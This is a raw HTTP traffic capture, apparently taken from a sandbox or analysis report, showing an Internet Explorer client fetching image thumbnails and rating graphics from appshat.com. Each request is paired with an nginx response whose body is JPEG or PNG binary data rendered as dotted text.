User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: image/jpeg

Content-Length: 5807

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-16af"

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:B61A1BBFD29B11E28771DAFB2D1987AB" xmpMM:Documen
tID="xmp.did:B61A1BC0D29B11E28771DAFB2D1987AB"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:B61A1BBDD29B11E28771DAFB2D1987AB" stRef:d
ocumentID="xmp.did:B61A1BBED29B11E28771DAFB2D1987AB"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................>..............................................
...................................................!1AQ"...2..aq..B#..
....Rr.3.SC.5.......................!..1Aa".Qq......2..B...b3$%.......
......?..u.......i...>#...-..LPv.....t..T.J..5........*jO....5UP...
t..O.h.nP*;.jOJu=?-.%(.%!.Ggh.H#@l. |..UN..~.....C...(e....YA!....8.).
[email protected].\.jY".......z.b;......6..7...M...6..X.&i..Tw.%... ...
..=.c.\$.1l....q;.*.).M..nij..;.....:........J...x..z.....5*......<<< skipped >>>

GET /thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: image/png

Content-Length: 173932

Last-Modified: Thu, 13 Jun 2013 17:00:48 GMT

Connection: keep-alive

ETag: "51b9fac0-2a76c"

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...w..G.8.^U.
...9h....%Y.ec..9c.1`...8L<8...w...3..q&...q..c.c.. ..........6....
.....LOOO.J ~..i>.....W..zU...0...{.N... .f........\.!S...9K.[..4_.
... ..D$N.O..}....'.\.QQSU..\Y..$.R....9.......@B........ .......a..zh
.._&.#..$.$_..[....W0.IB..........S...[..A..B0....B..........}.S.e.}..
....}..8...\c.D2...\[email protected]`*99.y....#1.lHa..k:.
........'..)....`n.e 2.f....S...........P..G?.zi.(..I........a.S...B..
<.....cID...a ......._.'.c....!g..=.R.....i.J....:[email protected]
5.Y[gG}....J...i..\p......y8....(.Qg.H...3x.....OD..x,..Ec.h$.....h\I.
..).....$......D,...D(.@%. ."..f..e...t9.^...r..^...qI.D........T....R
.."I..lvrz....h...P;.8.........pa...B...4strL.L.".us.i...0...}F.B.....
.......\... D.#...?Uf..M.9.......Y.e.6.F...K..D..U..;wr..-RM..M..P'...
..=...'..._|........315.,..nH..6...s.....A^.y.%.\.:._J.R.Lb6...9Y....&
lt;...Y.9......*.....  ..U&N.U.....^.R..dQmC....TUcL.9...!.a.J)..T5...
..........@4.@!.v{..].......|^...r.....!..$I._I.V...7..jBpMc..TU....h4
............?..D...!...........}^..f...g...T.4.Pb...X|lp....=.... ..7.
.......A._0k~.......B7..9>M.......uV........sl....kc.X.......U...,.
uS..QR..B9A."M...........o..?....*/D.S).D......., .Hyz.|X.9A .yI.t...0
?..{...e`2...$j.....Tb...b.9.)....v..X.$....8;...}.h.`[email protected]
..T..H(%...F..f.F.......ER[QVW[UW_S^^RT\T\T$I.....s..O .iVla...S=.`..)
A"@0...P.....................,.....,..ym.....0...!.M........u..G.Vy.]f
o[.2..Ad..l...p..6'fj..a..L.3..T...:.....2..k/.o....Y..p.7,..&Rczd<<< skipped >>>

GET /images/5.0stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/jpeg

Content-Length: 2286

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-8ee"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E712C81ACD1411E29568FF5E7
C4F2C36" xmpMM:InstanceID="xmp.iid:E712C819CD1411E29568FF5E7C4F2C36" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!..."..12BA&Qq.b3c...............
......!...1A..a2....Q"B%q.R.#.b.$..............?....3s....b.v..Q@...\g
.F^.v.G.`$.*.yAiX.........?o.%<........OST.n.m...:?.Q.W2EF*"".....F
./.....w.tl.!..=..I-J.U^J.R.Y...y.j.B.}Z"_S..0.~..xT.f.Q..W"x.:...X>
;.O/../.%zO.......f.~x*.O..D.$X....w..ZJ..o)'.Kq.|.E..Qr.T2bPu..1..x?N
j...!59.yK...B"[email protected].$.u..dI&..Vg..2.$..&'..X..\<.....h....<<< skipped >>>

GET /thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 309779

Last-Modified: Thu, 13 Jun 2013 17:05:34 GMT

Connection: keep-alive

ETag: "51b9fbde-4ba13"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/6/a/6a12dc1a298e870b610a58a56ba0f5ec.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/jpeg

Content-Length: 18198

Last-Modified: Thu, 13 Jun 2013 17:15:43 GMT

Connection: keep-alive

ETag: "51b9fe3f-4716"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF.............C................................... $.' ",#..(
7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222
222222222222222222222...........".....................................
.......................}........!1A..Qa."q.2....#B...R..$3br........%&
'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz...........................
......................................................................
.............................w.......!1..AQ.aq."2...B.....#3R..br...$4
.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................
................................................................?....(
...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..
.(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(
...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..
.(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(
...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..
.(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(
...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..
.(...(...(...(...(...(...(...(...(...(...(.......q.....B...Z......X.D.
.TT.,[GF...^4.....WV....../..W.Hr.[.`.;....SKD.O1.....h..Q... MQ.U.m S
.....8: ...6.t1..........'..`T:f.-.1N.F.2N..;Y{....n..^c......V....c..
..4.y...X...H..q......m4.B.M..R.Da~eld..Z..b..\rJ.ms/......p.W.%...u.;
...R.p....!..l..T.mv:....~~..O9.......b9...c.).....v..c9..............
....G.E..<....c.)|..X....?.............<...o*<.....Z.~.k.<<< skipped >>>

GET /images/3.0stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/jpeg

Content-Length: 2022

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-7e6"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C0AD31E0CD1411E28C01DE2AF
24957C3" xmpMM:InstanceID="xmp.iid:C0AD31DFCD1411E28C01DE2AF24957C3" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.........................................!..1...Aa"2qB3Q..Rbc$&.......
................!1A...a2....Qq."BR%...b..#...$............?....Y..n...
VN\..(.Yy..........L...\.(- ..V|.....3......N.*..6i<MSJ.X.".,..isy{
."....U......%t.6..W~..d.......IjP...T........#V..[..%.`.f._....Si....
.W"t.:...B=./.....%...E36e..3i^..a'.}h..E.Q..Wy........r...G.tQIU.!.C&
%.\.s.....s0M.n..s,[email protected]..$......&UD.{..z...?...n<<< skipped >>>

GET /thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 41466

Last-Modified: Thu, 13 Jun 2013 17:56:48 GMT

Connection: keep-alive

ETag: "51ba07e0-a1fa"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs.........B(.x
....tEXtSoftware.VVV.inkscape.org..<... .IDATx...wx......]....{....
.j.)..K.@B .` |..PB...K.....j:..eS....{..%...|.l....{ggvg..{....9..; e
.{.=...$..A..A..\...A..A.....A..A.BH...A.D/...A..A.BH...A.D/...A..A.BH
...A.D/...A..A.B<...A..A..s.......?x.....v...N.$.. ...y,...o.U.....
...p{<..v.V...A......W7.v......;.......1.....l%[email protected].=.....{..~./..
>._T..l.|[email protected].=..v=.....k....^n..`.... E..$... ."..a..'....k.q
[email protected].. . ..1h.....@...../.VB... .....c!..
...0~.a..V..c:i.4........J["$... .....B..S&_:..i........Y|.!.....@....
[email protected]=1P\t....E.WK.D#...~...
.....A....{.I..J.o)..........~....0....I...A.........J.o/.............
..k.......9....A.....O......[.k..c..!I.......|.....M......A..A..[.;...
....}j.r.\...:........P.s..... .. ....N...V_.,-...q.s9q...../.\..}....
9q.2..A.....c!6...fT......[[email protected]%....7)
...aC.Q... .. ..................~.DQ.|.^.....`Y..}.9}...... .....O8...
.........UhGQ..I.....w..(... .. ..........o ........`.E.....j.$... ...
.?.......`Y.TC.,...P..c.?x...... ......8.....&_..w....rl.....o.hW...o.
 .. .9..p.9R$......../IR.......>M3.v]nw..c.|A.>e... .B.{.:m..(..
...]....~.vK.j>.......$... .....L...1..`Y.....7..Q.o.nY]...:.|I...A
...7M9..~.... .......|.iB...5.u....k...A..A.p....*..."4t....-...s.@Y..
.@q.*..H...A...7M9dF.q.......cP .S.. [email protected]...,
..t...?9A....k.8.....I...A.D..X.=p.I...0.2......:.@. !=`.e.b.|/..B<<< skipped >>>

GET /thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 275725

Last-Modified: Thu, 13 Jun 2013 18:08:34 GMT

Connection: keep-alive

ETag: "51ba0aa2-4350d"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...hiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:3212C012122068118A6DE6ECBB0B76D8" xmpMM:DocumentID="xmp.did:1AA1
385C0AE811E286AAD4663D41448D" xmpMM:InstanceID="xmp.iid:1AA1385B0AE811
E286AAD4663D41448D" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FB41A5FD2B2068118D
BB8B5619EC708E" stRef:documentID="xmp.did:3212C012122068118A6DE6ECBB0B
76D8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>9..U..1;IDATx...{...U....w>............i
L.......B.@".JK....U...)...ZEj...UT..I..F..ID......B....s`<.o.....|
...z.s....Y...........~..^k].Z...p.....;..}{:t.....3..uk.......92....5
...Mw....{...i{{{~..^?.;vl>V.W....g.{}...q.=...W....W..............
....\...w.....:O.Y..u.q. ..k..\W.... .....>...8.}.x...{..........}.
.>^.p\.#u.:......s../........x...c..[........^.....9^.V.2.9^}.X5.5~
.{.^...x-|><n..gY?.1s..z.....Q..{..s....zo]..?...s.2..:?.9..r|r.
....^8..,37rO... ..1..r..39...^...?.Q.S.I. ....x|>..\s.b=....!.<<< skipped >>>

GET /thumbnails/icon/images/assets/4/f/4f263f4be4c4396c9078d1874c05b928.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 87980

Last-Modified: Wed, 17 Jul 2013 14:24:28 GMT

Connection: keep-alive

ETag: "51e6a91c-157ac"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR...,...,.....y}.u....sBIT....|.d... .IDATx...y.%G}...E
.]...}....nI.F..$..`.`..x.m0.3.c......g..<.<0.....>oFlfl.`c..
,6.......Vw....Tu-w....GD........n.~....fFFDfe~...._.B8.l.Ww.=0r..u...
.W .....i....F[O.X....Z(.@...!I.W_..@[email protected];..]c...... .\.(64..".A.
. ..J....obw....z..m.o_vv..z(T Awg.!cmC;1....6|S.P...6....'........W.r
.^..8.h45R8..0.L.}.....:U.....0".b...{..^R....j.)^...:.$.<:....!...
 ;.. h..7..-..\......./..&T.&.w .....RG.h.Fc...*...w......yj._...sb...
4ZO.B.f.jE.W.qA9..Fs..r..(....m.x.k..........3......J:.R...6H..t......
ZQ^[email protected]..\Y,......Oo./0.....4...K....j%.W..824.{....:./)....z .^
.......qRh.?....6.........voL...2.'iA<.w%.........Z=...E.....Z..Wn.
..}[email protected];..h)...*{..........:8..LX.h..P...A..7}.2Pr.Fs
z,A.v.!..~....B.Qv..O.([email protected]@."...?..i..L0=X..B.jA.S.....h
MI.n.U..A.r..m....!.....b.....j....|;....V...I...NX....0.r.....D,j%]7.
w........3(..7..%....U.Z...?*b~].}....Rfr......55.N...................
.....fY.a..../...`...B5.......-c.c.k.$Qb....#W.u....A.@.(ADa. ".."...7
...`..SY..R.K...6.....,=Y....^t ;...h....b.<`[email protected].^..qdY....(.W.Z.
....t.C9...}..U..K..3../.....[..H.=..._.......x(e.W.4.)....


GET /images/4.0stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 78510

Last-Modified: Thu, 13 Jun 2013 18:01:40 GMT

Connection: keep-alive

ETag: "51ba0904-132ae"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpRights="hXXp://ns.adobe.com
/xap/1.0/rights/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:
stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http
://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocum
entID="uuid:DA79FEE2A7AEDE119DF29D3E787E68C0" xmpMM:DocumentID="xmp.di
d:CB40D9D25FE511E19EB9DC85DDB3BD07" xmpMM:InstanceID="xmp.iid:CB40D9D1
5FE511E19EB9DC85DDB3BD07" xmp:CreatorTool="Adobe Photoshop CS5 Macinto
sh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:02801174072068
1195FE8B2941CA8449" stRef:documentID="uuid:DA79FEE2A7AEDE119DF29D3E787
E68C0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&g
t; <?xpacket end="r"?>..h.....IDATx..}.|.....3.E.X.l..%W..`l...l
.......:..Jx....~..{.........I.`0...0..Nh6...,7Y].23.......jW[.]I.....
.)....{.....@ ........@ ..."....@ ........@ .@ ........@ ..."....@ ...
.....@ .@ ........@ ..."....@ ........@ .@ ........@ ..."....@ .......
.@ .@ ........@ ..."....@ .Kh..`...9}..4..qCqq.L.4..>.h.<y20..s.
.{x...}.v....... <..sp..w..../...y3...;./..Y....?a....=......6n..o.
..<..U.....~.&L. ...rAss3466..i.`...r....MMM....*....a..-0~.x..<<< skipped >>>

GET /thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3

n..

GET /thumbnails/icon/images/assets/0/0/00c73f6d4e4eb25289dddb86e2d1e319.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/jpeg

Content-Length: 37562

Last-Modified: Thu, 13 Jun 2013 17:46:06 GMT

Connection: keep-alive

ETag: "51ba055e-92ba"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF.............C................................... $.' ",#..(
7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222
222222222222222222222...........".....................................
.......................}........!1A..Qa."q.2....#B...R..$3br........%&
'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz...........................
......................................................................
.............................w.......!1..AQ.aq."2...B.....#3R..br...$4
.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................
................................................................?...i.
.*[email protected]..........
8.....'.....B..b....SU...X.....4.=k.?.s.7....9...R..WD...........=.;..
..ZO8z............N............M....rH=.;....Z<..^0................
..s..@..........'Z.v{_.=h...x...rG..O........$......_..aG$..S.{O.=h...
x..-..........(?.....I.......V?k.......<z....{.....................
..]W..bV"..{..=h...x?./)...^?........yO..B.......G..a.z}.w....x.....'$
..G...........]A..........%..Z.D.h....x.......u..@#....../.-..........
*yY|.=....y...o......................./.....9..~x................/....
....w..@#........2=....y...w.............................../<z...Z.
..Z....?.....Q...Z...G.......v......G.=k...k]......._..aI...^...G.....
..,...?<z...Z.Y.0\.pt........G...G.4.......W...c7Z.vl..<z...Z...
[._..?.....Ui.4........?.]..}........Z<..^................k...2]N[.
. ...l...t:rZ.J.6....x......C...........................6f...O<<<< skipped >>>

GET /thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 428661

Last-Modified: Thu, 13 Jun 2013 17:46:14 GMT

Connection: keep-alive

ETag: "51ba0566-68a75"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
